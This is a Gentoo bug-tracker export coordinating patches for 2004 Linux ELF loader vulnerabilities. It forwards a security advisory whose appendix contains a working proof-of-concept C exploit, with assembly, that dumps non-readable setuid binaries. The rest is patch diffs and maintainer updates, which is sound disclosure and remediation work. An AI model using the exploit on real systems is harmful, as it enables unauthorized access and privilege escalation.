<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "http://bugs.gentoo.org/bugzilla.dtd">

<bugzilla version="2.22.7"
          urlbase="http://bugs.gentoo.org/"
          maintainer="bugzilla@gentoo.org"
>

    <bug>
          <bug_id>70681</bug_id>
          
          <creation_ts>2004-11-10 09:06 0000</creation_ts>
          <short_desc>Kernel binfmt_elf loader vulnerabilities (CAN-2004-{1070,1071,1072,1073})</short_desc>
          <delta_ts>2009-05-03 14:49:41 0000</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>Gentoo Security</product>
          <component>Kernel</component>
          <version>unspecified</version>
          <rep_platform>All</rep_platform>
          <op_sys>All</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          <bug_file_loc>http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt</bug_file_loc>
          <status_whiteboard>[linux &lt;2.6.10]</status_whiteboard>
          
          <priority>P2</priority>
          <bug_severity>major</bug_severity>
          <target_milestone>---</target_milestone>
          
          
          
          <everconfirmed>1</everconfirmed>
          <reporter>rajiv@gentoo.org</reporter>
          <assigned_to>security@gentoo.org</assigned_to>
          <cc>goldstei@ugcs.caltech.edu</cc>
    
    <cc>gregkh@gentoo.org</cc>
    
    <cc>kang@gentoo.org</cc>
    
    <cc>scox@sig11.org</cc>
    
    <cc>wschlich@gentoo.org</cc>

      

      
          <flag name="Pending"
                status="-"
                setter="plasmaroo@gentoo.org"
          />
          <flag name="Assigned_To"
                status="?"
                setter="plasmaroo@gentoo.org"
              requestee="plasmaroo@gentoo.org"
          />
          <long_desc isprivate="0">
            <who>rajiv@gentoo.org</who>
            <bug_when>2004-11-10 09:06:25 0000</bug_when>
            <thetext>---------- Forwarded message ----------
Date: Wed, 10 Nov 2004 12:59:25 +0100 (CET)
From: Paul Starzetz &lt;ihaquer@isec.pl&gt;
Reply-To: security@isec.pl
To: full-disclosure@lists.netsys.com, bugtraq@securityfocus.com
Subject: Linux ELF loader vulnerabilities

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Synopsis:  Linux kernel binfmt_elf loader vulnerabilities
Product:   Linux kernel
Version:   2.4 up to to and including 2.4.27, 2.6 up to to and
           including 2.6.8
Vendor:    http://www.kernel.org/
URL:       http://isec.pl/vulnerabilities/isec-0017-binfmt_elf.txt
CVE:       not assigned
Author:    Paul Starzetz &lt;ihaquer@isec.pl&gt;
Date:      Nov 10, 2004


Issue:
======

Numerous  bugs  have  been  found  in  the Linux ELF binary loader while
handling setuid binaries.


Details:
========

On Unix like systems the execve(2) system call provides functionality to
replace  the  current process by a new one (usually found in binary form
on the disk) or in other words to execute a new program.

Internally the Linux  kernel  uses  a  binary  format  loader  layer  to
implement  the  low level format dependend functionality of the execve()
system call. The common execve code contains just few  helper  functions
used  to  load  the  new binary and leaves the format specific work to a
specialized binary format loader.

One of the Linux format loaders is  the  ELF  (Executable  and  Linkable
Format)  loader.  Nowadays ELF is the standard format for Linux binaries
besides the a.out binary format, which is not used in practice  anymore.

One  of  the  functions  of a binary format loader is to properly handle
setuid executables, that is executables with the setuid bit set  on  the
file  system  image  of  the executable. It allows execution of programs
under a different user ID than the user issuing the execve call  but  is
some lacy work from security point of view.

Every ELF binary contains an ELF header defining the type and the layout
of the program in memory  as  well  as  addition  sections  (like  which
program interpreter to load, symbot table, etc). The ELF header normally
contains information about the entry point (start address) of the binary
and the position of the memory map header (phdr) in the binary image and
the program  interpreter  (that  is  normally  the  dynamic  linker  ld-
linux.so).  The  memory  map  header  definies the memory mapping of the
executable file that can be seen later from /proc/self/maps.

We have indentified 5 different flaws in the  Linux  ELF  binary  loader
(linux/fs/binfmt_elf.c all line numbers for 2.4.27):


1)  wrong  return value check while filling kernel buffers (loop to scan
the binary header for an interpreter section):

static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs * regs)
{
       size = elf_ex.e_phnum * sizeof(struct elf_phdr);
       elf_phdata = (struct elf_phdr *) kmalloc(size, GFP_KERNEL);
       if (!elf_phdata)
              goto out;

477:   retval = kernel_read(bprm-&gt;file, elf_ex.e_phoff, (char *) elf_phdata, size);
       if (retval &lt; 0)
              goto out_free_ph;

The above code looks good on the  first  glance,  however  checking  the
return  value  of  kernel_read (which calls file-&gt;f_op-&gt;read) to be non-
negative is not sufficient since a read() can perfectly return less than
the  requested  buffer  size  bytes. This bug happens also on lines 301,
523, 545 respectively.


2) incorrect on error behaviour, if the mmap() call fails (loop to  mmap
binary sections into memory):

645:   for(i = 0, elf_ppnt = elf_phdata; i &lt; elf_ex.e_phnum; i++, elf_ppnt++) {
684:          error = elf_map(bprm-&gt;file, load_bias + vaddr, elf_ppnt, elf_prot, elf_flags);
              if (BAD_ADDR(error))
                     continue;


3)  bad return value vulnerability while mapping the program intrepreter
into memory:

301:   retval = kernel_read(interpreter,interp_elf_ex-&gt;e_phoff,(char *)elf_phdata,size);
       error = retval;
       if (retval &lt; 0)
              goto out_close;

       eppnt = elf_phdata;
       for (i=0; i&lt;interp_elf_ex-&gt;e_phnum; i++, eppnt++) {
           map_addr = elf_map(interpreter, load_addr + vaddr, eppnt, elf_prot, elf_type);
322:       if (BAD_ADDR(map_addr))
              goto out_close;
out_close:
       kfree(elf_phdata);
out:
       return error;
}


4) the loaded interpreter section can contain an interpreter name string
without the terminating NULL:

508:        for (i = 0; i &lt; elf_ex.e_phnum; i++) {
518:                 elf_interpreter = (char *) kmalloc(elf_ppnt-&gt;p_filesz,
                                                           GFP_KERNEL);
                        if (!elf_interpreter)
                                goto out_free_file;

                        retval = kernel_read(bprm-&gt;file, elf_ppnt-&gt;p_offset,
                                           elf_interpreter,
                                           elf_ppnt-&gt;p_filesz);
                        if (retval &lt; 0)
                                goto out_free_interp;


5)  bug  in  the  common  execve()  code  in  exec.c:  vulnerability  in
open_exec() permitting reading of non-readable ELF binaries,  which  can
be triggered by requesting the file in the ELF PT_INTERP section:

541:          interpreter = open_exec(elf_interpreter);
              retval = PTR_ERR(interpreter);
              if (IS_ERR(interpreter))
                     goto out_free_interp;
              retval = kernel_read(interpreter, 0, bprm-&gt;buf, BINPRM_BUF_SIZE);


Discussion:
=============

1)  The  Linux  man  pages state that a read(2) can return less than the
requested number of bytes, even zero. It  is  not  clear  how  this  can
happen  while  reading  a  disk  file  (in contrast to network sockets),
however here some thoughts:

- - if we trick read to fill the elf_phdata buffer  with  less  than  size
bytes,  the remaining part of the buffer will contain some garbage data,
that is data from the previous kernel object, which occupied that memory
area.

Therefore  we  could  arbitrarily modify the memory layout of the binary
supplying a suitable header  information  in  the  kernel  buffer.  This
should  be  sufficient  to  gain controll over the flow of execution for
most of the setuid binaries around.

- - on Linux a disk read goes through the page cache. That is, a disk read
can  easily  fail  on  a page boundary due to a low memory condition. In
this case read will return less than the requested number of  bytes  but
still indicate success (ret&gt;0).

- -  most  of  the  standard  setuid  binaries  on  a  &apos;normal&apos; i386 Linux
installation have ELF headers stored below the  4096th  byte,  therefore
they are probably not exploitable on i386 architecture.


2) This bug can lead to a incorrectly mmaped binary image in the memory.
There are various reasons why a mmap() call can fail:

- - a temporary low memory condition, so that the allocation of a new  VMA
descriptor fails

- -  memory  limit  (RLIMIT_AS) excedeed, which can be easily manpipulated
before calling execve()

- - file locks held for the binary file in question

Security implications in the case of a setuid binary are quite  obvious:
we  may  end  up with a binary without the .text or .bss section or with
those sections shifted (in the case they are not &apos;fixed&apos;  sections).  It
is  not  clear  which  standard  binaries  are exploitable however it is
sufficient that at some point we come over some instructions  that  jump
into  the  environment area due to malformed memory layout and gain full
controll over the setuid application.


3) This bug is similar to 2) however the code  incorrectly  returns  the
kernel_read  status  to  the calling function on mmap failure which will
assume that the program interpreter has been loaded. That means that the
kernel  will  start  the  execution of the binary file itself instead of
calling the program interpreter (linker) that have to finish the  binary
loading from user space.

We  have  found  that  standard  Linux  (i386, GCC 2.95) setuid binaries
contain code that will jump to the EIP=0 address and crash (since  there
is no virtual memory mapped there), however this may vary from binary to
binary as well from architecture  to  architecture  and  may  be  easily
exploitable.


4) This bug leads to internal kernel file system functions beeing called
with an argument string  exceeding  the  maximum  path  size  in  length
(PATH_MAX). It is not clear if this condition is exploitable.

An  user may try to execute such a malicious binary with an unterminated
interpreter name string and trick the kernel memory manager to return  a
memory  chunk  for  the  elf_interpreter variable followed by a suitable
longish path name (like ./././....). Our experiments show  that  it  can
lead to a preceivable system hang.


5)  This  bug  is  similar  to the shared file table race [1]. We give a
proof-of-concept code at the end of this article that  just  core  dumps
the non-readable but executable ELF file.

An user may create a manipulated ELF binary that requests a non-readable
but executable file as program intrepreter and gain read access  to  the
privileged  binary.  This  works  only  if the file is a valid ELF image
file, so it is not possible to read a data file that has the execute bit
set  but the read bit cleared. A common usage would be to read exec-only
setuid binaries to gain offsets for further exploitation.


Impact:
=======

Unprivileged users may gain elevated (root) privileges.


Credits:
========

Paul Starzetz &lt;ihaquer@isec.pl&gt; has  identified  the  vulnerability  and
performed  further  research. COPYING, DISTRIBUTION, AND MODIFICATION OF
INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH  EXPRESS  PERMISSION  OF
ONE OF THE AUTHORS.


Disclaimer:
===========

This  document and all the information it contains are provided &quot;as is&quot;,
for educational purposes only, without warranty  of  any  kind,  whether
express or implied.

The  authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of  the  information   provided  in
this  document.  Liability  claims regarding damage caused by the use of
any information provided, including any kind  of  information  which  is
incomplete or incorrect, will therefore be rejected.


Appendix:
=========

/*
 *
 *    binfmt_elf executable file read vulnerability
 *
 *    gcc -O3 -fomit-frame-pointer elfdump.c -o elfdump
 *
 *    Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
 *
 *    THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED &quot;AS IS&quot;
 *    AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
 *    WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
 *
 */



#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;unistd.h&gt;

#include &lt;sys/types.h&gt;
#include &lt;sys/resource.h&gt;
#include &lt;sys/wait.h&gt;

#include &lt;linux/elf.h&gt;


#define BADNAME &quot;/tmp/_elf_dump&quot;



void usage(char *s)
{
    printf(&quot;\nUsage: %s executable\n\n&quot;, s);
    exit(0);
}

//    ugly mem scan code :-)
static volatile void bad_code(void)
{
__asm__(
//        &quot;1:        jmp 1b \n&quot;
        &quot;        xorl    %edi, %edi        \n&quot;
        &quot;        movl    %esp, %esi        \n&quot;
        &quot;        xorl    %edx, %edx        \n&quot;
        &quot;        xorl    %ebp, %ebp        \n&quot;
        &quot;        call    get_addr        \n&quot;

        &quot;        movl    %esi, %esp        \n&quot;
        &quot;        movl    %edi, %ebp        \n&quot;
        &quot;        jmp    inst_sig        \n&quot;

        &quot;get_addr:    popl    %ecx            \n&quot;

//    sighand
        &quot;inst_sig:    xorl    %eax, %eax        \n&quot;
        &quot;        movl    $11, %ebx        \n&quot;
        &quot;        movb    $48, %al        \n&quot;
        &quot;        int    $0x80            \n&quot;

        &quot;ld_page:    movl    %ebp, %eax        \n&quot;
        &quot;        subl    %edx, %eax        \n&quot;
        &quot;        cmpl    $0x1000, %eax        \n&quot;
        &quot;        jle    ld_page2        \n&quot;

//    mprotect
        &quot;        pusha                \n&quot;
        &quot;        movl    %edx, %ebx        \n&quot;
        &quot;        addl     $0x1000, %ebx        \n&quot;
        &quot;        movl    %eax, %ecx        \n&quot;
        &quot;        xorl    %eax, %eax        \n&quot;
        &quot;        movb    $125, %al        \n&quot;
        &quot;        movl    $7, %edx        \n&quot;
        &quot;        int    $0x80            \n&quot;
        &quot;        popa                \n&quot;

        &quot;ld_page2:    addl    $0x1000, %edi        \n&quot;
        &quot;        cmpl    $0xc0000000, %edi    \n&quot;
        &quot;        je    dump            \n&quot;
        &quot;        movl    %ebp, %edx        \n&quot;
        &quot;        movl    (%edi), %eax        \n&quot;
        &quot;        jmp    ld_page            \n&quot;

        &quot;dump:        xorl    %eax, %eax        \n&quot;
        &quot;        xorl    %ecx, %ecx        \n&quot;
        &quot;        movl    $11, %ebx        \n&quot;
        &quot;        movb    $48, %al        \n&quot;
        &quot;        int    $0x80            \n&quot;
        &quot;        movl    $0xdeadbeef, %eax    \n&quot;
        &quot;        jmp    *(%eax)            \n&quot;

    );
}


static volatile void bad_code_end(void)
{
}


int main(int ac, char **av)
{
struct elfhdr eh;
struct elf_phdr eph;
struct rlimit rl;
int fd, nl, pid;

    if(ac&lt;2)
        usage(av[0]);

//    make bad a.out
    fd=open(BADNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
    nl = strlen(av[1])+1;
    memset(&amp;eh, 0, sizeof(eh) );

//    elf exec header
    memcpy(eh.e_ident, ELFMAG, SELFMAG);
    eh.e_type = ET_EXEC;
    eh.e_machine = EM_386;
    eh.e_phentsize = sizeof(struct elf_phdr);
    eh.e_phnum = 2;
    eh.e_phoff = sizeof(eh);
    write(fd, &amp;eh, sizeof(eh) );

//    section header(s)
    memset(&amp;eph, 0, sizeof(eph) );
    eph.p_type = PT_INTERP;
    eph.p_offset = sizeof(eh) + 2*sizeof(eph);
    eph.p_filesz = nl;
    write(fd, &amp;eph, sizeof(eph) );

    memset(&amp;eph, 0, sizeof(eph) );
    eph.p_type = PT_LOAD;
    eph.p_offset = 4096;
    eph.p_filesz = 4096;
    eph.p_vaddr = 0x0000;
    eph.p_flags = PF_R|PF_X;
    write(fd, &amp;eph, sizeof(eph) );

//    .interp
    write(fd, av[1], nl );

//    execable code
    nl = &amp;bad_code_end - &amp;bad_code;
    lseek(fd, 4096, SEEK_SET);
    write(fd, &amp;bad_code, 4096);
    close(fd);

//    dump the shit
    rl.rlim_cur = RLIM_INFINITY;
    rl.rlim_max = RLIM_INFINITY;
    if( setrlimit(RLIMIT_CORE, &amp;rl) )
        perror(&quot;\nsetrlimit failed&quot;);
    fflush(stdout);
    pid = fork();
    if(pid)
        wait(NULL);
    else
        execl(BADNAME, BADNAME, NULL);

    printf(&quot;\ncore dumped!\n\n&quot;);
    unlink(BADNAME);

return 0;
}

- --
Paul Starzetz
iSEC Security Research
http://isec.pl/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQFBkgKiC+8U3Z5wpu4RAts9AKCYBrBfOXG/XuTdKr7Aw/WKJwIBUgCffAvH
NgTqTlQ2xmIfX6P5JXMpqqs=
=WF4V
-----END PGP SIGNATURE-----</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>rajiv@gentoo.org</who>
            <bug_when>2004-11-11 09:41:43 0000</bug_when>
            <thetext>Date: Thu, 11 Nov 2004 13:12:03 +1000
From: Ted Percival &lt;ted@mrphp.com.au&gt;
To: security@isec.pl
Cc: full-disclosure@lists.netsys.com, bugtraq@securityfocus.com
Subject: Re: Linux ELF loader vulnerabilities

These vulnerabilities appear to exist in 2.6.9 as well. All five buggy lines
appear verbatim in the 2.6.9 source.

Ted Percival
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>solar@gentoo.org</who>
            <bug_when>2004-11-11 12:56:44 0000</bug_when>
            <thetext>grsec kernel patched as sys-kernel/grsec-sources-2.4.27.2.0.1-r3
Sent the patch to the mirrors as 824589336b5796dc569662c44f1f696f  /usr/portage/distfiles/gentoo-sources-2.4.27-binfmt_elf.patch.bz2</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>plasmaroo@gentoo.org</who>
            <bug_when>2004-11-12 13:05:56 0000</bug_when>
            <thetext>Created an attachment (id=43814)
2.4.27 patch (Plain)
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>plasmaroo@gentoo.org</who>
            <bug_when>2004-11-12 13:06:27 0000</bug_when>
            <thetext>Created an attachment (id=43815)
2.4 Patch for GRSec enabled kernels
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>plasmaroo@gentoo.org</who>
            <bug_when>2004-11-12 13:08:24 0000</bug_when>
            <thetext>Created an attachment (id=43816)
&lt;= 2.6.8.1 patch
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>plasmaroo@gentoo.org</who>
            <bug_when>2004-11-12 13:10:07 0000</bug_when>
            <thetext>Created an attachment (id=43817)
2.6.9 patch
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>plasmaroo@gentoo.org</who>
            <bug_when>2004-11-12 13:15:26 0000</bug_when>
            <thetext>Ok, all kernels patched. The following externally maintained sources are still vulnerable and need patching, adding on their maintainers to the CC list:

gentoo-dev-sources - Adding dsd, gregkh.
hardened-dev-sources - Adding hardened herd.
hardened-sources - Adding scox.
hppa(-dev)-sources - Adding GMSoft.
mips-sources - Adding Kumba.
pegasos-dev-sources - Adding dholm.
openmosix-sources - Adding cluster herd.
rsbac(-dev)-sources - Adding kang.
selinux-sources - Adding pebenito.
sparc-sources - Adding Joker.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>joker@gentoo.org</who>
            <bug_when>2004-11-12 14:21:24 0000</bug_when>
            <thetext>Fixed in sparc-sources-2.4.27-r3</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>pebenito@gentoo.org</who>
            <bug_when>2004-11-12 14:43:23 0000</bug_when>
            <thetext>selinux-sources is p.mask&apos;ed as it is going to be removed</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>method@gentoo.org</who>
            <bug_when>2004-11-13 15:04:12 0000</bug_when>
            <thetext>h-d-s fixed</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>dsd@gentoo.org</who>
            <bug_when>2004-11-13 16:09:59 0000</bug_when>
            <thetext>gentoo-dev-sources fixed but needs unmasking on arches other than x86</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>dholm@gentoo.org</who>
            <bug_when>2004-11-15 04:12:31 0000</bug_when>
            <thetext>pegasos-dev-sources sprinkled with fairy dust</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>voxus@gentoo.org</who>
            <bug_when>2004-11-15 08:52:15 0000</bug_when>
            <thetext>done in oM-sources.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>solar@gentoo.org</who>
            <bug_when>2004-11-16 09:38:53 0000</bug_when>
            <thetext>Fresh News:

---------- Forwarded message ----------
Date: Tue, 16 Nov 2004 11:06:43 -0500
From: Jakub Jelinek &lt;jakub@redhat.com&gt;
To: security@redhat.com

&gt; http://www.securityfocus.com/archive/1/380790/2004-11-08/2004-11-14/0

BTW, I believe the fixes that made into BK are still not sufficient,
particularly I think there is a buffer overflow if you try to execute
say:
  INTERP         0x000200 0x0000000000400200 0x0000000000400200 0x000000 0x000001 R   0x1
      [Requesting program interpreter: ]
binary.
I think something like:

                        retval = -ENOMEM;
-                       if (elf_ppnt-&gt;p_filesz &gt; PATH_MAX)
+                       if (elf_ppnt-&gt;p_filesz &gt; PATH_MAX || elf_ppnt-&gt;p_filesz == 0)
                                goto out_free_file;
                        elf_interpreter = (char *) kmalloc(elf_ppnt-&gt;p_filesz,
                                                           GFP_KERNEL);

should cure this (and will cost just a subtraction of 1 from some register
most probably).
BTW, I think overwriting the last character of elf_interpreter is a bad
idea, it should IMHO instead just bail out:

                        /* make sure path is NULL terminated */
-                       elf_interpreter[elf_ppnt-&gt;p_filesz - 1] = &apos;\0&apos;;
+                       if (elf_interpreter[elf_ppnt-&gt;p_filesz - 1] != &apos;\0&apos;) {
+                               retval = -EIO, goto out_free_file;
+                       }

or something like that.

        Jakub
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>solar@gentoo.org</who>
            <bug_when>2004-11-16 14:07:12 0000</bug_when>
            <thetext>From: 	Chris Wright &lt;chrisw@osdl.org&gt;

Yeah current patch needs fixing, thanks Jakub.  Patch based
directly on your patch below; I used EINVAL.  EIO seems wrong, and
ENOXEC won&apos;t terminate the search_binary_handler loop.

thanks,
-chris
-- 

Jakub Jelinek points out that current fix has an underflow problem
if elf_ppnt-&gt;p_filesz == 0.  Fix that up, and also stop overwriting
interpreter buffer, simply check that it&apos;s NULL-terminated.

From: Jakub Jelinek &lt;jakub@redhat.com&gt;
Signed-off-by: Chris Wright &lt;chrisw@osdl.org&gt;

===== fs/binfmt_elf.c 1.91 vs edited =====
--- 1.91/fs/binfmt_elf.c        2004-11-10 09:45:38 -08:00
+++ edited/fs/binfmt_elf.c      2004-11-16 11:01:21 -08:00
@@ -576,7 +576,8 @@ static int load_elf_binary(struct linux_
                         */
 
                        retval = -ENOMEM;
-                       if (elf_ppnt-&gt;p_filesz &gt; PATH_MAX)
+                       if (elf_ppnt-&gt;p_filesz &gt; PATH_MAX || 
+                           elf_ppnt-&gt;p_filesz == 0)
                                goto out_free_file;
                        elf_interpreter = (char *) kmalloc(elf_ppnt-&gt;p_filesz,
                                                           GFP_KERNEL);
@@ -592,7 +593,9 @@ static int load_elf_binary(struct linux_
                                goto out_free_interp;
                        }
                        /* make sure path is NULL terminated */
-                       elf_interpreter[elf_ppnt-&gt;p_filesz - 1] = &apos;\0&apos;;
+                       retval = -EINVAL;
+                       if (elf_interpreter[elf_ppnt-&gt;p_filesz - 1] != &apos;\0&apos;)
+                               goto out_free_interp;
 
                        /* If the program interpreter is one of these two,
                         * then assume an iBCS2 image. Otherwise assume
_______________________________________________
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>tocharian@gentoo.org</who>
            <bug_when>2004-11-16 19:36:18 0000</bug_when>
            <thetext>Created an attachment (id=44127)
2.6 Patch for grsec enabled kernels

Binfmt_elf patch updated to include latest changes from Jakub Jelinek.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>tocharian@gentoo.org</who>
            <bug_when>2004-11-16 21:14:05 0000</bug_when>
            <thetext>Created an attachment (id=44136)
Updated 2.4 patch for grsec systems

Patch updated to include latest changes from Jakub Jelinek.  This should
probably make Attachment #43815 obsolete.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>solar@gentoo.org</who>
            <bug_when>2004-11-17 12:08:14 0000</bug_when>
            <thetext>grsec-sources-2.4.27-r4 (in tree now with binfmt_elf + round #2) 
Also added the binfmt_aout (no bug #)

2.4.28 release and I&apos;m a happy dog.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jaervosz@gentoo.org</who>
            <bug_when>2004-11-17 21:53:02 0000</bug_when>
            <thetext>*** Bug 71614 has been marked as a duplicate of this bug. ***</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>kumba@gentoo.org</who>
            <bug_when>2004-11-19 18:05:57 0000</bug_when>
            <thetext>mips-sources updated.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>plasmaroo@gentoo.org</who>
            <bug_when>2004-11-23 13:42:31 0000</bug_when>
            <thetext>Created an attachment (id=44600)
Updated 2.4.27 plain patch
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>plasmaroo@gentoo.org</who>
            <bug_when>2004-11-23 13:45:15 0000</bug_when>
            <thetext>Created an attachment (id=44601)
Updated 2.6.8.1 plain patch
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>plasmaroo@gentoo.org</who>
            <bug_when>2004-11-23 13:47:08 0000</bug_when>
            <thetext>Created an attachment (id=44602)
Updated 2.6.9 patch
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>plasmaroo@gentoo.org</who>
            <bug_when>2004-11-23 13:51:17 0000</bug_when>
            <thetext>Ok, I believe the following maintainers need to update their sources with the *updated* patches available as attachments on this bug:

gentoo-dev-sources [dsd]
hardened(-dev)-sources [hardened herd]
hppa(-dev)-sources [GMSoft]
mips-sources [Kumba]
pegasos-dev-sources [dholm]
openmosix-sources [cluster herd]
rsbac(-dev)-sources [kang]
sparc-sources [Joker]</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>dsd@gentoo.org</who>
            <bug_when>2004-11-24 06:35:01 0000</bug_when>
            <thetext>Created an attachment (id=44634)
2.6.7 patch
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>gmsoft@gentoo.org</who>
            <bug_when>2004-11-24 09:39:38 0000</bug_when>
            <thetext>hppa-(dev-)sources done.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>method@gentoo.org</who>
            <bug_when>2004-11-24 11:27:27 0000</bug_when>
            <thetext>h-d-s done (second patch)</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jaervosz@gentoo.org</who>
            <bug_when>2004-11-27 07:15:31 0000</bug_when>
            <thetext>Some sources have been unpatched for almost two weeks now, all maintainers please fix your sources ASAP.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>plasmaroo@gentoo.org</who>
            <bug_when>2004-11-27 07:32:48 0000</bug_when>
            <thetext>Readding a few people since we&apos;ve got an updated patch, please see comment #24. Thanks!</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>joker@gentoo.org</who>
            <bug_when>2004-11-27 07:41:10 0000</bug_when>
            <thetext>sparc uses 2.4.28 now which is not affected by this</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>dholm@gentoo.org</who>
            <bug_when>2004-11-27 08:07:50 0000</bug_when>
            <thetext>pegasos-dev-sources fixed</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>voxus@gentoo.org</who>
            <bug_when>2004-11-27 08:34:17 0000</bug_when>
            <thetext>done in oM-sources.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>dsd@gentoo.org</who>
            <bug_when>2004-11-27 12:20:49 0000</bug_when>
            <thetext>gentoo-dev-sources done, both latest version and 2.6.7 ~sparc release</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>tocharian@gentoo.org</who>
            <bug_when>2004-11-28 10:20:25 0000</bug_when>
            <thetext>hardened-sources done</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>kang@gentoo.org</who>
            <bug_when>2004-11-28 14:46:16 0000</bug_when>
            <thetext>rsbac-dev-sources: reupdated
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>kang@gentoo.org</who>
            <bug_when>2004-11-28 15:53:22 0000</bug_when>
            <thetext>rsbac-sources bumped to 2.4.28 (~x86)</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>kumba@gentoo.org</who>
            <bug_when>2004-12-01 03:24:54 0000</bug_when>
            <thetext>mips-sources fixed.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>lewk@gentoo.org</who>
            <bug_when>2004-12-01 13:31:24 0000</bug_when>
            <thetext>Mitre has assigned the following CVE id&apos;s to this issue:

CAN-2004-1070
CAN-2004-1071
CAN-2004-1072
CAN-2004-1073</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>abusch@gmx.net</who>
            <bug_when>2005-01-07 08:39:10 0000</bug_when>
            <thetext>One more todo: CAN-2004-1235
http://isec.pl/vulnerabilities/isec-0021-uselib.txt</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>koon@gentoo.org</who>
            <bug_when>2005-01-07 09:03:26 0000</bug_when>
            <thetext>CAN-2004-1235 is bug 77025</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>plasmaroo@gentoo.org</who>
            <bug_when>2005-01-15 14:37:03 0000</bug_when>
            <thetext>All kernels fixed, closing bug; notifications are being migrated away from GLSAs for kernels, more news coming soon so stay tuned :-]</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>wschlich@gentoo.org</who>
            <bug_when>2005-04-04 05:15:26 0000</bug_when>
            <thetext>According to http://www.heise.de/security/news/meldung/58038 (http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2005-03/0895.html) this has not been completely fixed :-( What are we going to do?</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>plasmaroo@gentoo.org</who>
            <bug_when>2006-03-11 13:56:21 0000</bug_when>
            <thetext>Greg, what about CAN-2004-1073? To my knowledge this still hasn&apos;t been fixed since I last brought it on security@...</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>gregkh@gentoo.org</who>
            <bug_when>2006-03-13 15:39:15 0000</bug_when>
            <thetext>I really do not know, sorry.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>hlieberman@gentoo.org</who>
            <bug_when>2006-11-05 10:59:32 0000</bug_when>
            <thetext>It looks to me like we&apos;re still vulnerable in the latest stable gentoo-sources. Confirmation?</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>hlieberman@gentoo.org</who>
            <bug_when>2006-11-07 11:21:45 0000</bug_when>
            <thetext>klori on the x86 team tested and could not reproduce the PoC Code. Closing bug as fixed.  Reopen if you disagree.</thetext>
          </long_desc>
      
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>43814</attachid>
            <date>2004-11-12 13:05 0000</date>
            <desc>2.4.27 patch (Plain)</desc>
            <filename>linux-2.4.27-binfmt_elf.patch</filename>
            <type>text/plain</type>
            <data encoding="base64">LS0tIGxpbnV4LTIuNC4yNy9mcy9iaW5mbXRfZWxmLmMJMjAwNC0xMS0xMCAxMjoyNToxNiAtMDg6
MDAKKysrIGxpbnV4LTIuNC4yNy1wbGFzbWFyb28vZnMvYmluZm10X2VsZi5jCTIwMDQtMTEtMTAg
MTI6MjU6MTYgLTA4OjAwCkBAIC0zMzUsOSArMzM1LDEyIEBACiAJCWdvdG8gb3V0OwogCiAJcmV0
dmFsID0ga2VybmVsX3JlYWQoaW50ZXJwcmV0ZXIsaW50ZXJwX2VsZl9leC0+ZV9waG9mZiwoY2hh
